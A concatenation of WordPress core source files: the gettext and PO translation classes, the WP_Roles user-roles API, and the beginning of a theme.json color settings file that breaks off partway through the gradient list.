			$entry              = new Translation_Entry(
				array(
					'singular' => $singular,
					'plural'   => $plural,
					'context'  => $context,
				)
			);
			$translated         = $this->translate_entry( $entry );
			$index              = $this->select_plural_form( $count );
			$total_plural_forms = $this->get_plural_forms_count();
			if ( $translated && 0 <= $index && $index < $total_plural_forms &&
				is_array( $translated->translations ) &&
				isset( $translated->translations[ $index ] ) ) {
				return $translated->translations[ $index ];
			} else {
				return 1 === (int) $count ? $singular : $plural;
			}
		}

		/**
		 * Merges other translations into the current one.
		 *
		 * @since 2.8.0
		 *
		 * @param Translations $other Another Translation object, whose translations will be merged in this one (passed by reference).
		 */
		public function merge_with( &$other ) {
			foreach ( $other->entries as $entry ) {
				$this->entries[ $entry->key() ] = $entry;
			}
		}

		/**
		 * Merges originals with existing entries.
		 *
		 * @since 2.8.0
		 *
		 * @param Translations $other
		 */
		public function merge_originals_with( &$other ) {
			foreach ( $other->entries as $entry ) {
				if ( ! isset( $this->entries[ $entry->key() ] ) ) {
					$this->entries[ $entry->key() ] = $entry;
				} else {
					$this->entries[ $entry->key() ]->merge_with( $entry );
				}
			}
		}
	}

	/**
	 * Gettext_Translations class.
	 *
	 * @since 2.8.0
	 */
	class Gettext_Translations extends Translations {

		/**
		 * Number of plural forms.
		 *
		 * @var int
		 *
		 * @since 2.8.0
		 */
		public $_nplurals;

		/**
		 * Callback to retrieve the plural form.
		 *
		 * @var callable
		 *
		 * @since 2.8.0
		 */
		public $_gettext_select_plural_form;

		/**
		 * The gettext implementation of select_plural_form.
		 *
		 * It lives in this class, because there are more than one descendant, which will use it and
		 * they can't share it effectively.
		 *
		 * @since 2.8.0
		 *
		 * @param int $count Plural forms count.
		 * @return int Plural form to use.
		 */
		public function gettext_select_plural_form( $count ) {
			if ( ! isset( $this->_gettext_select_plural_form ) || is_null( $this->_gettext_select_plural_form ) ) {
				list( $nplurals, $expression )     = $this->nplurals_and_expression_from_header( $this->get_header( 'Plural-Forms' ) );
				$this->_nplurals                   = $nplurals;
				$this->_gettext_select_plural_form = $this->make_plural_form_function( $nplurals, $expression );
			}
			return call_user_func( $this->_gettext_select_plural_form, $count );
		}

		/**
		 * Returns the nplurals and plural forms expression from the Plural-Forms header.
		 *
		 * @since 2.8.0
		 *
		 * @param string $header
		 * @return array{0: int, 1: string}
		 */
		public function nplurals_and_expression_from_header( $header ) {
			if ( preg_match( '/^\s*nplurals\s*=\s*(\d+)\s*;\s+plural\s*=\s*(.+)$/', $header, $matches ) ) {
				$nplurals   = (int) $matches[1];
				$expression = trim( $matches[2] );
				return array( $nplurals, $expression );
			} else {
				return array( 2, 'n != 1' );
			}
		}

		/**
		 * Makes a function, which will return the right translation index, according to the
		 * plural forms header.
		 *
		 * @since 2.8.0
		 *
		 * @param int    $nplurals
		 * @param string $expression
		 * @return callable
		 */
		public function make_plural_form_function( $nplurals, $expression ) {
			try {
				$handler = new Plural_Forms( rtrim( $expression, ';' ) );
				return array( $handler, 'get' );
			} catch ( Exception $e ) {
				// Fall back to default plural-form function.
				return $this->make_plural_form_function( 2, 'n != 1' );
			}
		}

		/**
		 * Adds parentheses to the inner parts of ternary operators in
		 * plural expressions, because PHP evaluates ternary operators from left to right
		 *
		 * @since 2.8.0
		 * @deprecated 6.5.0 Use the Plural_Forms class instead.
		 *
		 * @see Plural_Forms
		 *
		 * @param string $expression the expression without parentheses
		 * @return string the expression with parentheses added
		 */
		public function parenthesize_plural_exression( $expression ) {
			$expression .= ';';
			$res         = '';
			$depth       = 0;
			for ( $i = 0; $i < strlen( $expression ); ++$i ) {
				$char = $expression[ $i ];
				switch ( $char ) {
					case '?':
						$res .= ' ? (';
						++$depth;
						break;
					case ':':
						$res .= ') : (';
						break;
					case ';':
						$res  .= str_repeat( ')', $depth ) . ';';
						$depth = 0;
						break;
					default:
						$res .= $char;
				}
			}
			return rtrim( $res, ';' );
		}

		/**
		 * Prepare translation headers.
		 *
		 * @since 2.8.0
		 *
		 * @param string $translation
		 * @return array<string, string> Translation headers
		 */
		public function make_headers( $translation ) {
			$headers = array();
			// Sometimes \n's are used instead of real new lines.
			$translation = str_replace( '\n', "\n", $translation );
			$lines       = explode( "\n", $translation );
			foreach ( $lines as $line ) {
				$parts = explode( ':', $line, 2 );
				if ( ! isset( $parts[1] ) ) {
					continue;
				}
				$headers[ trim( $parts[0] ) ] = trim( $parts[1] );
			}
			return $headers;
		}

		/**
		 * Sets translation headers.
		 *
		 * @since 2.8.0
		 *
		 * @param string $header
		 * @param string $value
		 */
		public function set_header( $header, $value ) {
			parent::set_header( $header, $value );
			if ( 'Plural-Forms' === $header ) {
				list( $nplurals, $expression )     = $this->nplurals_and_expression_from_header( $this->get_header( 'Plural-Forms' ) );
				$this->_nplurals                   = $nplurals;
				$this->_gettext_select_plural_form = $this->make_plural_form_function( $nplurals, $expression );
			}
		}
	}
endif;

if ( ! class_exists( 'NOOP_Translations', false ) ) :
	/**
	 * Provides the same interface as Translations, but doesn't do anything.
	 *
	 * @since 2.8.0
	 */
	#[AllowDynamicProperties]
	class NOOP_Translations {
		/**
		 * List of translation entries.
		 *
		 * @since 2.8.0
		 *
		 * @var Translation_Entry[]
		 */
		public $entries = array();

		/**
		 * List of translation headers.
		 *
		 * @since 2.8.0
		 *
		 * @var array<string, string>
		 */
		public $headers = array();

		public function add_entry( $entry ) {
			return true;
		}

		/**
		 * Sets a translation header.
		 *
		 * @since 2.8.0
		 *
		 * @param string $header
		 * @param string $value
		 */
		public function set_header( $header, $value ) {
		}

		/**
		 * Sets translation headers.
		 *
		 * @since 2.8.0
		 *
		 * @param array $headers
		 */
		public function set_headers( $headers ) {
		}

		/**
		 * Returns a translation header.
		 *
		 * @since 2.8.0
		 *
		 * @param string $header
		 * @return false
		 */
		public function get_header( $header ) {
			return false;
		}

		/**
		 * Returns a given translation entry.
		 *
		 * @since 2.8.0
		 *
		 * @param Translation_Entry $entry
		 * @return false
		 */
		public function translate_entry( &$entry ) {
			return false;
		}

		/**
		 * Translates a singular string.
		 *
		 * @since 2.8.0
		 *
		 * @param string $singular
		 * @param string $context
		 */
		public function translate( $singular, $context = null ) {
			return $singular;
		}

		/**
		 * Returns the plural form to use.
		 *
		 * @since 2.8.0
		 *
		 * @param int $count
		 * @return int
		 */
		public function select_plural_form( $count ) {
			return 1 === (int) $count ? 0 : 1;
		}

		/**
		 * Returns the plural forms count.
		 *
		 * @since 2.8.0
		 *
		 * @return int
		 */
		public function get_plural_forms_count() {
			return 2;
		}

		/**
		 * Translates a plural string.
		 *
		 * @since 2.8.0
		 *
		 * @param string $singular
		 * @param string $plural
		 * @param int    $count
		 * @param string $context
		 * @return string
		 */
		public function translate_plural( $singular, $plural, $count, $context = null ) {
			return 1 === (int) $count ? $singular : $plural;
		}

		/**
		 * Merges other translations into the current one.
		 *
		 * @since 2.8.0
		 *
		 * @param Translations $other
		 */
		public function merge_with( &$other ) {
		}
	}
endif;
<?php
/**
 * Class for working with PO files
 *
 * @version $Id: po.php 1158 2015-11-20 04:31:23Z dd32 $
 * @package pomo
 * @subpackage po
 */

require_once __DIR__ . '/translations.php';

if ( ! defined( 'PO_MAX_LINE_LEN' ) ) {
	define( 'PO_MAX_LINE_LEN', 79 );
}

/*
 * The `auto_detect_line_endings` setting has been deprecated in PHP 8.1,
 * but will continue to work until PHP 9.0.
 * For now, we're silencing the deprecation notice as there may still be
 * translation files around which haven't been updated in a long time and
 * which still use the old MacOS standalone `\r` as a line ending.
 * This fix should be revisited when PHP 9.0 is in alpha/beta.
 */
@ini_set( 'auto_detect_line_endings', 1 ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged

/**
 * Routines for working with PO files
 */
if ( ! class_exists( 'PO', false ) ) :
	class PO extends Gettext_Translations {

		public $comments_before_headers = '';

		/**
		 * Exports headers to a PO entry
		 *
		 * @return string msgid/msgstr PO entry for this PO file headers, doesn't contain newline at the end
		 */
		public function export_headers() {
			$header_string = '';
			foreach ( $this->headers as $header => $value ) {
				$header_string .= "$header: $value\n";
			}
			$poified = PO::poify( $header_string );
			if ( $this->comments_before_headers ) {
				$before_headers = $this->prepend_each_line( rtrim( $this->comments_before_headers ) . "\n", '# ' );
			} else {
				$before_headers = '';
			}
			return rtrim( "{$before_headers}msgid \"\"\nmsgstr $poified" );
		}

		/**
		 * Exports all entries to PO format
		 *
		 * @return string sequence of msgid/msgstr PO strings, doesn't contain a newline at the end
		 */
		public function export_entries() {
			// TODO: Sorting.
			return implode( "\n\n", array_map( array( 'PO', 'export_entry' ), $this->entries ) );
		}

		/**
		 * Exports the whole PO file as a string
		 *
		 * @param bool $include_headers whether to include the headers in the export
		 * @return string ready for inclusion in PO file string for headers and all the entries
		 */
		public function export( $include_headers = true ) {
			$res = '';
			if ( $include_headers ) {
				$res .= $this->export_headers();
				$res .= "\n\n";
			}
			$res .= $this->export_entries();
			return $res;
		}

		/**
		 * Same as {@link export}, but writes the result to a file
		 *
		 * @param string $filename        Where to write the PO string.
		 * @param bool   $include_headers Whether to include the headers in the export.
		 * @return bool true on success, false on error
		 */
		public function export_to_file( $filename, $include_headers = true ) {
			$fh = fopen( $filename, 'w' );
			if ( false === $fh ) {
				return false;
			}
			$export = $this->export( $include_headers );
			$res    = fwrite( $fh, $export );
			if ( false === $res ) {
				return false;
			}
			return fclose( $fh );
		}

		/**
		 * Text to include as a comment before the start of the PO contents
		 *
		 * Doesn't need to include # in the beginning of lines, these are added automatically
		 *
		 * @param string $text Text to include as a comment.
		 */
		public function set_comment_before_headers( $text ) {
			$this->comments_before_headers = $text;
		}

		/**
		 * Formats a string in PO-style
		 *
		 * @param string $input_string the string to format
		 * @return string the poified string
		 */
		public static function poify( $input_string ) {
			$quote   = '"';
			$slash   = '\\';
			$newline = "\n";

			$replaces = array(
				"$slash" => "$slash$slash",
				"$quote" => "$slash$quote",
				"\t"     => '\t',
			);

			$input_string = str_replace( array_keys( $replaces ), array_values( $replaces ), $input_string );

			$po = $quote . implode( "{$slash}n{$quote}{$newline}{$quote}", explode( $newline, $input_string ) ) . $quote;
			// Add empty string on first line for readability.
			if ( str_contains( $input_string, $newline ) &&
				( substr_count( $input_string, $newline ) > 1 || substr( $input_string, -strlen( $newline ) ) !== $newline ) ) {
				$po = "$quote$quote$newline$po";
			}
			// Remove empty strings.
			$po = str_replace( "$newline$quote$quote", '', $po );
			return $po;
		}

		/**
		 * Gives back the original string from a PO-formatted string
		 *
		 * @param string $input_string PO-formatted string
		 * @return string unescaped string
		 */
		public static function unpoify( $input_string ) {
			$escapes               = array(
				't'  => "\t",
				'n'  => "\n",
				'r'  => "\r",
				'\\' => '\\',
			);
			$lines                 = array_map( 'trim', explode( "\n", $input_string ) );
			$lines                 = array_map( array( 'PO', 'trim_quotes' ), $lines );
			$unpoified             = '';
			$previous_is_backslash = false;
			foreach ( $lines as $line ) {
				preg_match_all( '/./u', $line, $chars );
				$chars = $chars[0];
				foreach ( $chars as $char ) {
					if ( ! $previous_is_backslash ) {
						if ( '\\' === $char ) {
							$previous_is_backslash = true;
						} else {
							$unpoified .= $char;
						}
					} else {
						$previous_is_backslash = false;
						$unpoified            .= isset( $escapes[ $char ] ) ? $escapes[ $char ] : $char;
					}
				}
			}

			// Standardize the line endings on imported content, technically PO files shouldn't contain \r.
			$unpoified = str_replace( array( "\r\n", "\r" ), "\n", $unpoified );

			return $unpoified;
		}

		/**
		 * Inserts $with in the beginning of every new line of $input_string and
		 * returns the modified string
		 *
		 * @param string $input_string prepend lines in this string
		 * @param string $with         prepend lines with this string
		 */
		public static function prepend_each_line( $input_string, $with ) {
			$lines  = explode( "\n", $input_string );
			$append = '';
			if ( "\n" === substr( $input_string, -1 ) && '' === end( $lines ) ) {
				/*
				 * Last line might be empty because $input_string was terminated
				 * with a newline, remove it from the $lines array,
				 * we'll restore state by re-terminating the string at the end.
				 */
				array_pop( $lines );
				$append = "\n";
			}
			foreach ( $lines as &$line ) {
				$line = $with . $line;
			}
			unset( $line );
			return implode( "\n", $lines ) . $append;
		}

		/**
		 * Prepare a text as a comment -- wraps the lines and prepends #
		 * and a special character to each line
		 *
		 * @access private
		 * @param string $text the comment text
		 * @param string $char character to denote a special PO comment,
		 *  like :, default is a space
		 */
		public static function comment_block( $text, $char = ' ' ) {
			$text = wordwrap( $text, PO_MAX_LINE_LEN - 3 );
			return PO::prepend_each_line( $text, "#$char " );
		}

		/**
		 * Builds a string from the entry for inclusion in PO file
		 *
		 * @param Translation_Entry $entry the entry to convert to po string.
		 * @return string|false PO-style formatted string for the entry or
		 *  false if the entry is empty
		 */
		public static function export_entry( $entry ) {
			if ( null === $entry->singular || '' === $entry->singular ) {
				return false;
			}
			$po = array();
			if ( ! empty( $entry->translator_comments ) ) {
				$po[] = PO::comment_block( $entry->translator_comments );
			}
			if ( ! empty( $entry->extracted_comments ) ) {
				$po[] = PO::comment_block( $entry->extracted_comments, '.' );
			}
			if ( ! empty( $entry->references ) ) {
				$po[] = PO::comment_block( implode( ' ', $entry->references ), ':' );
			}
			if ( ! empty( $entry->flags ) ) {
				$po[] = PO::comment_block( implode( ', ', $entry->flags ), ',' );
			}
			if ( $entry->context ) {
				$po[] = 'msgctxt ' . PO::poify( $entry->context );
			}
			$po[] = 'msgid ' . PO::poify( $entry->singular );
			if ( ! $entry->is_plural ) {
				$translation = empty( $entry->translations ) ? '' : $entry->translations[0];
				$translation = PO::match_begin_and_end_newlines( $translation, $entry->singular );
				$po[]        = 'msgstr ' . PO::poify( $translation );
			} else {
				$po[]         = 'msgid_plural ' . PO::poify( $entry->plural );
				$translations = empty( $entry->translations ) ? array( '', '' ) : $entry->translations;
				foreach ( $translations as $i => $translation ) {
					$translation = PO::match_begin_and_end_newlines( $translation, $entry->plural );
					$po[]        = "msgstr[$i] " . PO::poify( $translation );
				}
			}
			return implode( "\n", $po );
		}

		public static function match_begin_and_end_newlines( $translation, $original ) {
			if ( '' === $translation ) {
				return $translation;
			}

			$original_begin    = "\n" === substr( $original, 0, 1 );
			$original_end      = "\n" === substr( $original, -1 );
			$translation_begin = "\n" === substr( $translation, 0, 1 );
			$translation_end   = "\n" === substr( $translation, -1 );

			if ( $original_begin ) {
				if ( ! $translation_begin ) {
					$translation = "\n" . $translation;
				}
			} elseif ( $translation_begin ) {
				$translation = ltrim( $translation, "\n" );
			}

			if ( $original_end ) {
				if ( ! $translation_end ) {
					$translation .= "\n";
				}
			} elseif ( $translation_end ) {
				$translation = rtrim( $translation, "\n" );
			}

			return $translation;
		}

		/**
		 * @param string $filename
		 * @return bool
		 */
		public function import_from_file( $filename ) {
			$f = fopen( $filename, 'r' );
			if ( ! $f ) {
				return false;
			}
			$lineno = 0;
			while ( true ) {
				$res = $this->read_entry( $f, $lineno );
				if ( ! $res ) {
					break;
				}
				if ( '' === $res['entry']->singular ) {
					$this->set_headers( $this->make_headers( $res['entry']->translations[0] ) );
				} else {
					$this->add_entry( $res['entry'] );
				}
			}
			PO::read_line( $f, 'clear' );
			if ( false === $res ) {
				return false;
			}
			if ( ! $this->headers && ! $this->entries ) {
				return false;
			}
			return true;
		}

		/**
		 * Helper function for read_entry
		 *
		 * @param string $context
		 * @return bool
		 */
		protected static function is_final( $context ) {
			return ( 'msgstr' === $context ) || ( 'msgstr_plural' === $context );
		}

		/**
		 * @param resource $f
		 * @param int      $lineno
		 * @return null|false|array
		 */
		public function read_entry( $f, $lineno = 0 ) {
			$entry = new Translation_Entry();
			// Where were we in the last step.
			// Can be: comment, msgctxt, msgid, msgid_plural, msgstr, msgstr_plural.
			$context      = '';
			$msgstr_index = 0;
			while ( true ) {
				++$lineno;
				$line = PO::read_line( $f );
				if ( ! $line ) {
					if ( feof( $f ) ) {
						if ( self::is_final( $context ) ) {
							break;
						} elseif ( ! $context ) { // We haven't read a line and EOF came.
							return null;
						} else {
							return false;
						}
					} else {
						return false;
					}
				}
				if ( "\n" === $line ) {
					continue;
				}
				$line = trim( $line );
				if ( preg_match( '/^#/', $line, $m ) ) {
					// The comment is the start of a new entry.
					if ( self::is_final( $context ) ) {
						PO::read_line( $f, 'put-back' );
						--$lineno;
						break;
					}
					// Comments have to be at the beginning.
					if ( $context && 'comment' !== $context ) {
						return false;
					}
					// Add comment.
					$this->add_comment_to_entry( $entry, $line );
				} elseif ( preg_match( '/^msgctxt\s+(".*")/', $line, $m ) ) {
					if ( self::is_final( $context ) ) {
						PO::read_line( $f, 'put-back' );
						--$lineno;
						break;
					}
					if ( $context && 'comment' !== $context ) {
						return false;
					}
					$context         = 'msgctxt';
					$entry->context .= PO::unpoify( $m[1] );
				} elseif ( preg_match( '/^msgid\s+(".*")/', $line, $m ) ) {
					if ( self::is_final( $context ) ) {
						PO::read_line( $f, 'put-back' );
						--$lineno;
						break;
					}
					if ( $context && 'msgctxt' !== $context && 'comment' !== $context ) {
						return false;
					}
					$context          = 'msgid';
					$entry->singular .= PO::unpoify( $m[1] );
				} elseif ( preg_match( '/^msgid_plural\s+(".*")/', $line, $m ) ) {
					if ( 'msgid' !== $context ) {
						return false;
					}
					$context          = 'msgid_plural';
					$entry->is_plural = true;
					$entry->plural   .= PO::unpoify( $m[1] );
				} elseif ( preg_match( '/^msgstr\s+(".*")/', $line, $m ) ) {
					if ( 'msgid' !== $context ) {
						return false;
					}
					$context             = 'msgstr';
					$entry->translations = array( PO::unpoify( $m[1] ) );
				} elseif ( preg_match( '/^msgstr\[(\d+)\]\s+(".*")/', $line, $m ) ) {
					if ( 'msgid_plural' !== $context && 'msgstr_plural' !== $context ) {
						return false;
					}
					$context                      = 'msgstr_plural';
					$msgstr_index                 = $m[1];
					$entry->translations[ $m[1] ] = PO::unpoify( $m[2] );
				} elseif ( preg_match( '/^".*"$/', $line ) ) {
					$unpoified = PO::unpoify( $line );
					switch ( $context ) {
						case 'msgid':
							$entry->singular .= $unpoified;
							break;
						case 'msgctxt':
							$entry->context .= $unpoified;
							break;
						case 'msgid_plural':
							$entry->plural .= $unpoified;
							break;
						case 'msgstr':
							$entry->translations[0] .= $unpoified;
							break;
						case 'msgstr_plural':
							$entry->translations[ $msgstr_index ] .= $unpoified;
							break;
						default:
							return false;
					}
				} else {
					return false;
				}
			}

			$have_translations = false;
			foreach ( $entry->translations as $t ) {
				if ( $t || ( '0' === $t ) ) {
					$have_translations = true;
					break;
				}
			}
			if ( false === $have_translations ) {
				$entry->translations = array();
			}

			return array(
				'entry'  => $entry,
				'lineno' => $lineno,
			);
		}

		/**
		 * @param resource $f
		 * @param string   $action
		 * @return bool
		 */
		public function read_line( $f, $action = 'read' ) {
			static $last_line     = '';
			static $use_last_line = false;
			if ( 'clear' === $action ) {
				$last_line = '';
				return true;
			}
			if ( 'put-back' === $action ) {
				$use_last_line = true;
				return true;
			}
			$line          = $use_last_line ? $last_line : fgets( $f );
			$line          = ( "\r\n" === substr( $line, -2 ) ) ? rtrim( $line, "\r\n" ) . "\n" : $line;
			$last_line     = $line;
			$use_last_line = false;
			return $line;
		}

		/**
		 * @param Translation_Entry $entry
		 * @param string            $po_comment_line
		 */
		public function add_comment_to_entry( &$entry, $po_comment_line ) {
			$first_two = substr( $po_comment_line, 0, 2 );
			$comment   = trim( substr( $po_comment_line, 2 ) );
			if ( '#:' === $first_two ) {
				$entry->references = array_merge( $entry->references, preg_split( '/\s+/', $comment ) );
			} elseif ( '#.' === $first_two ) {
				$entry->extracted_comments = trim( $entry->extracted_comments . "\n" . $comment );
			} elseif ( '#,' === $first_two ) {
				$entry->flags = array_merge( $entry->flags, preg_split( '/,\s*/', $comment ) );
			} else {
				$entry->translator_comments = trim( $entry->translator_comments . "\n" . $comment );
			}
		}

		/**
		 * @param string $s
		 * @return string
		 */
		public static function trim_quotes( $s ) {
			if ( str_starts_with( $s, '"' ) ) {
				$s = substr( $s, 1 );
			}
			if ( str_ends_with( $s, '"' ) ) {
				$s = substr( $s, 0, -1 );
			}
			return $s;
		}
	}
endif;
<?php
/**
 * User API: WP_Roles class
 *
 * @package WordPress
 * @subpackage Users
 * @since 4.4.0
 */

/**
 * Core class used to implement a user roles API.
 *
 * The role option is simple, the structure is organized by role name that store
 * the name in value of the 'name' key. The capabilities are stored as an array
 * in the value of the 'capability' key.
 *
 *     array (
 *          'rolename' => array (
 *              'name' => 'rolename',
 *              'capabilities' => array()
 *          )
 *     )
 *
 * @since 2.0.0
 */
#[AllowDynamicProperties]
class WP_Roles {
	/**
	 * List of roles and capabilities.
	 *
	 * @since 2.0.0
	 * @var array[]
	 */
	public $roles;

	/**
	 * List of the role objects.
	 *
	 * @since 2.0.0
	 * @var WP_Role[]
	 */
	public $role_objects = array();

	/**
	 * List of role names.
	 *
	 * @since 2.0.0
	 * @var string[]
	 */
	public $role_names = array();

	/**
	 * Option name for storing role list.
	 *
	 * @since 2.0.0
	 * @var string
	 */
	public $role_key;

	/**
	 * Whether to use the database for retrieval and storage.
	 *
	 * @since 2.1.0
	 * @var bool
	 */
	public $use_db = true;

	/**
	 * The site ID the roles are initialized for.
	 *
	 * @since 4.9.0
	 * @var int
	 */
	protected $site_id = 0;

	/**
	 * Constructor.
	 *
	 * @since 2.0.0
	 * @since 4.9.0 The `$site_id` argument was added.
	 *
	 * @global array $wp_user_roles Used to set the 'roles' property value.
	 *
	 * @param int $site_id Site ID to initialize roles for. Default is the current site.
	 */
	public function __construct( $site_id = null ) {
		global $wp_user_roles;

		$this->use_db = empty( $wp_user_roles );

		$this->for_site( $site_id );
	}

	/**
	 * Makes private/protected methods readable for backward compatibility.
	 *
	 * @since 4.0.0
	 *
	 * @param string $name      Method to call.
	 * @param array  $arguments Arguments to pass when calling.
	 * @return mixed|false Return value of the callback, false otherwise.
	 */
	public function __call( $name, $arguments ) {
		if ( '_init' === $name ) {
			return $this->_init( ...$arguments );
		}
		return false;
	}

	/**
	 * Sets up the object properties.
	 *
	 * The role key is set to the current prefix for the $wpdb object with
	 * 'user_roles' appended. If the $wp_user_roles global is set, then it will
	 * be used and the role option will not be updated or used.
	 *
	 * @since 2.1.0
	 * @deprecated 4.9.0 Use WP_Roles::for_site()
	 */
	protected function _init() {
		_deprecated_function( __METHOD__, '4.9.0', 'WP_Roles::for_site()' );

		$this->for_site();
	}

	/**
	 * Reinitializes the object.
	 *
	 * Recreates the role objects. This is typically called only by switch_to_blog()
	 * after switching wpdb to a new site ID.
	 *
	 * @since 3.5.0
	 * @deprecated 4.7.0 Use WP_Roles::for_site()
	 */
	public function reinit() {
		_deprecated_function( __METHOD__, '4.7.0', 'WP_Roles::for_site()' );

		$this->for_site();
	}

	/**
	 * Adds a role name with capabilities to the list.
	 *
	 * Updates the list of roles, if the role doesn't already exist.
	 *
	 * The capabilities are defined in the following format: `array( 'read' => true )`.
	 * To explicitly deny the role a capability, set the value for that capability to false.
	 *
	 * @since 2.0.0
	 *
	 * @param string $role         Role name.
	 * @param string $display_name Role display name.
	 * @param bool[] $capabilities Optional. List of capabilities keyed by the capability name,
	 *                             e.g. `array( 'edit_posts' => true, 'delete_posts' => false )`.
	 *                             Default empty array.
	 * @return WP_Role|void WP_Role object, if the role is added.
	 */
	public function add_role( $role, $display_name, $capabilities = array() ) {
		if ( empty( $role ) || isset( $this->roles[ $role ] ) ) {
			return;
		}

		$this->roles[ $role ] = array(
			'name'         => $display_name,
			'capabilities' => $capabilities,
		);
		if ( $this->use_db ) {
			update_option( $this->role_key, $this->roles );
		}
		$this->role_objects[ $role ] = new WP_Role( $role, $capabilities );
		$this->role_names[ $role ]   = $display_name;
		return $this->role_objects[ $role ];
	}

	/**
	 * Removes a role by name.
	 *
	 * @since 2.0.0
	 *
	 * @param string $role Role name.
	 */
	public function remove_role( $role ) {
		if ( ! isset( $this->role_objects[ $role ] ) ) {
			return;
		}

		unset( $this->role_objects[ $role ] );
		unset( $this->role_names[ $role ] );
		unset( $this->roles[ $role ] );

		if ( $this->use_db ) {
			update_option( $this->role_key, $this->roles );
		}

		if ( get_option( 'default_role' ) === $role ) {
			update_option( 'default_role', 'subscriber' );
		}
	}

	/**
	 * Adds a capability to role.
	 *
	 * @since 2.0.0
	 *
	 * @param string $role  Role name.
	 * @param string $cap   Capability name.
	 * @param bool   $grant Optional. Whether role is capable of performing capability.
	 *                      Default true.
	 */
	public function add_cap( $role, $cap, $grant = true ) {
		if ( ! isset( $this->roles[ $role ] ) ) {
			return;
		}

		$this->roles[ $role ]['capabilities'][ $cap ] = $grant;
		if ( $this->use_db ) {
			update_option( $this->role_key, $this->roles );
		}
	}

	/**
	 * Removes a capability from role.
	 *
	 * @since 2.0.0
	 *
	 * @param string $role Role name.
	 * @param string $cap  Capability name.
	 */
	public function remove_cap( $role, $cap ) {
		if ( ! isset( $this->roles[ $role ] ) ) {
			return;
		}

		unset( $this->roles[ $role ]['capabilities'][ $cap ] );
		if ( $this->use_db ) {
			update_option( $this->role_key, $this->roles );
		}
	}

	/**
	 * Retrieves a role object by name.
	 *
	 * @since 2.0.0
	 *
	 * @param string $role Role name.
	 * @return WP_Role|null WP_Role object if found, null if the role does not exist.
	 */
	public function get_role( $role ) {
		if ( isset( $this->role_objects[ $role ] ) ) {
			return $this->role_objects[ $role ];
		} else {
			return null;
		}
	}

	/**
	 * Retrieves a list of role names.
	 *
	 * @since 2.0.0
	 *
	 * @return string[] List of role names.
	 */
	public function get_names() {
		return $this->role_names;
	}

	/**
	 * Determines whether a role name is currently in the list of available roles.
	 *
	 * @since 2.0.0
	 *
	 * @param string $role Role name to look up.
	 * @return bool
	 */
	public function is_role( $role ) {
		return isset( $this->role_names[ $role ] );
	}

	/**
	 * Initializes all of the available roles.
	 *
	 * @since 4.9.0
	 */
	public function init_roles() {
		if ( empty( $this->roles ) ) {
			return;
		}

		$this->role_objects = array();
		$this->role_names   = array();
		foreach ( array_keys( $this->roles ) as $role ) {
			$this->role_objects[ $role ] = new WP_Role( $role, $this->roles[ $role ]['capabilities'] );
			$this->role_names[ $role ]   = $this->roles[ $role ]['name'];
		}

		/**
		 * Fires after the roles have been initialized, allowing plugins to add their own roles.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Roles $wp_roles A reference to the WP_Roles object.
		 */
		do_action( 'wp_roles_init', $this );
	}

	/**
	 * Sets the site to operate on. Defaults to the current site.
	 *
	 * @since 4.9.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param int $site_id Site ID to initialize roles for. Default is the current site.
	 */
	public function for_site( $site_id = null ) {
		global $wpdb;

		if ( ! empty( $site_id ) ) {
			$this->site_id = absint( $site_id );
		} else {
			$this->site_id = get_current_blog_id();
		}

		$this->role_key = $wpdb->get_blog_prefix( $this->site_id ) . 'user_roles';

		if ( ! empty( $this->roles ) && ! $this->use_db ) {
			return;
		}

		$this->roles = $this->get_roles_data();

		$this->init_roles();
	}

	/**
	 * Gets the ID of the site for which roles are currently initialized.
	 *
	 * @since 4.9.0
	 *
	 * @return int Site ID.
	 */
	public function get_site_id() {
		return $this->site_id;
	}

	/**
	 * Gets the available roles data.
	 *
	 * @since 4.9.0
	 *
	 * @global array $wp_user_roles Used to set the 'roles' property value.
	 *
	 * @return array Roles array.
	 */
	protected function get_roles_data() {
		global $wp_user_roles;

		if ( ! empty( $wp_user_roles ) ) {
			return $wp_user_roles;
		}

		if ( is_multisite() && get_current_blog_id() !== $this->site_id ) {
			remove_action( 'switch_blog', 'wp_switch_roles_and_user', 1 );

			$roles = get_blog_option( $this->site_id, $this->role_key, array() );

			add_action( 'switch_blog', 'wp_switch_roles_and_user', 1, 2 );

			return $roles;
		}

		return get_option( $this->role_key, array() );
	}
}
{
	"$schema": "https://schemas.wp.org/trunk/theme.json",
	"version": 2,
	"settings": {
		"appearanceTools": false,
		"useRootPaddingAwareAlignments": false,
		"border": {
			"color": false,
			"radius": false,
			"style": false,
			"width": false
		},
		"color": {
			"background": true,
			"button": true,
			"caption": true,
			"custom": true,
			"customDuotone": true,
			"customGradient": true,
			"defaultDuotone": true,
			"defaultGradients": true,
			"defaultPalette": true,
			"duotone": [
				{
					"name": "Dark grayscale",
					"colors": [ "#000000", "#7f7f7f" ],
					"slug": "dark-grayscale"
				},
				{
					"name": "Grayscale",
					"colors": [ "#000000", "#ffffff" ],
					"slug": "grayscale"
				},
				{
					"name": "Purple and yellow",
					"colors": [ "#8c00b7", "#fcff41" ],
					"slug": "purple-yellow"
				},
				{
					"name": "Blue and red",
					"colors": [ "#000097", "#ff4747" ],
					"slug": "blue-red"
				},
				{
					"name": "Midnight",
					"colors": [ "#000000", "#00a5ff" ],
					"slug": "midnight"
				},
				{
					"name": "Magenta and yellow",
					"colors": [ "#c7005a", "#fff278" ],
					"slug": "magenta-yellow"
				},
				{
					"name": "Purple and green",
					"colors": [ "#a60072", "#67ff66" ],
					"slug": "purple-green"
				},
				{
					"name": "Blue and orange",
					"colors": [ "#1900d8", "#ffa96b" ],
					"slug": "blue-orange"
				}
			],
			"gradients": [
				{
					"name": "Vivid cyan blue to vivid purple",
					"gradient": "linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%)",
					"slug": "vivid-cyan-blue-to-vivid-purple"
				},
				{
					"name": "Light green cyan to vivid green cyan",
					"gradient": "linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%)",
					"slug": "light-green-cyan-to-vivid-green-cyan"
				},
				{
					"name": "Luminous vivid amber to luminous vivid orange",
					"gradient": "linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%)",
					"slug": "luminous-vivid-amber-to-luminous-vivid-orange"
				},
				{
					"name": "Luminous vivid orange to vivid red",
					"gradient": "linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%)",
					"slug": "luminous-vivid-orange-to-vivid-red"
				},
				{
					"name": "Very light gray to cyan bluish gray",
